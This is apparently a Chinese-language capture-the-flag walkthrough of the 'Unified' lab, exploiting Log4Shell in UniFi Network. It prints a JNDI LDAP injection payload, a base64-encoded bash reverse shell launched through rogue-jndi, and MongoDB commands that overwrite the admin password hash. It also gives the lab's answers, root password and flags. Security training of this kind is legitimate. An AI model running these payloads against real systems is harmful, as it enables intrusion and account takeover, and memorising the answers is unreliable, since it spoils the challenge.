文章目录
- 靶机:Unified
- Task1
- Task2
- Task3
- Task4
- 5-14解题过程
- Task5
- Task6
- Task7
- Task8
- Task9
- Task10
- Task11
- Task12
- Submit user flag
- Submit root flag
靶机:Unified
Task1
问题:前四个开放端口是哪一个?
22,6789,8080,8443
nmap扫一下
Task2
问题:在端口8443上运行的软件的标题是什么?
UniFi Network
nmap重新扫一下
nmap -sV -v -sC -p 8443 --min-rate 1000 10.129.96.149
Task3
问题:正在运行的软件的版本是什么?
6.4.54
我们通过nmap扫描结果可以知道,8080端口有http服务
访问一下得到版本
Task4
问题:已识别漏洞的CVE是什么?
CVE-2021-44228
去网上搜一下该版本的漏洞即可
5-14解题过程
搜出来存在log4j漏洞,我们抓包/api/login
,构造语句
验证Log4j漏洞是否存在payload
{
"username":"1",
"password":"1",
"remember":"${jndi:ldap://10.10.14.212/whatever}",
"strict":true
}
LDAP 轻量级目录访问协议,默认端口389,如果存在漏洞发送payload消息,会发送数据报文到本机389端
我们开个监听
sudo tcpdump -i tun0 port 389
注:tcpdump是wireshark的一个程序,可以进行拦截
可以发现拦截成功,说明目标主机是通过37900端口来访问本机ldap端口
工具准备如下
准备工具:
openjdk-11-jdk
sudo apt-get install openjdk-11-jdk -y
Maven
sudo apt-get install maven -y
编译maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
//这里要换成阿里云的源,不然下载速度很慢
mvn package
然后准备反弹shell
执行以下命令
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMTIvMTAyOCAwPiYxJw==}|{base64,-d}|{bash,-i}" --hostname "10.10.14.212"
然后开启监听,bp发送
成功反弹shell
然后先找到user的flag
查看mongdb端口情况
ps aux | grep mongo
查询结果中的bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --unixSocketPrefix /usr/lib/unifi/run --logRotate reopen --logappend --logpath /usr/lib/unifi/logs/mongod.log --pidfilepath /usr/lib/unifi/run/mongod.pid --bind_ip 127.0.0.1 是正在运行的命令或可执行文件的路径和参数,说明端口为27117
尝试读取管理员密码,UniFi程序的默认数据库ace,查询admin表的数据
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"
注:参数–eval
发现administrator的账户信息以及密码的加密信息
x_shadow即是密码哈希, SHA-512 算法使用一个以
6
6
6 开头的 16 字符字符串盐值进行散列
以$6$开头的,表明是用SHA-512加密的;
以$1$开头的,表明是用MD5加密的;
以$2$开头的,表明是用Blowfish加密的;
以$5$开头的,表明是用 SHA-256加密的。星号代表帐号被锁定
ps:是在linux shadow文件才这么表示
当然可以直接用工具hashid解密一下加密方式,发现是sha512
由于是散列函数,无法破解,只能使用替换方法
替换mongdb中的administrator的密钥,如下加密admin
利用nosql的语法,update以下
mongo --port 27117 ace --eval 'db.admin.update({"_id": ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$jaYBW0iCZNXzIuZk$FtGH/we0.hTsf63jTv6fh3sgcPP/J0uIXKXp0ADNWelcqW0ykcTiwnkvI.YePmnRpYMKZ24cqsSCxxg2RtBBs1"}})'
然后可以自己再看看会发现,已经把密钥改为我们设置的admin的
我们直接登录,在设置发现允许ssh连接并且知道root密码
ssh连接成功
继续得到root的flag
Task5
问题:JNDI在注入中利用了什么协议?
ldap
Task6
问题:我们使用什么工具来拦截流量,表明攻击成功?
tcpdump
Task7
问题:我们需要在哪个端口去拦截流量传输?
389
Task8
问题:MongoDB服务运行在哪个端口上?
27117
Task9
问题: UniFi应用程序的默认数据库名称是什么?
ace
Task10
问题:在MongoDB中,我们用来枚举数据库中的用户的功能是什么?
db.admin.find()
Task11
问题:在MongoDB中,我们用来更新数据库中的用户的功能是什么?
db.admin.update()
Task12
问题:root的密码
NotACrackablePassword4U2022
Submit user flag
6ced1a6a89e666c0620cdb10262ba127
Submit root flag
e50bc93c75b634e4b272d2f771c33681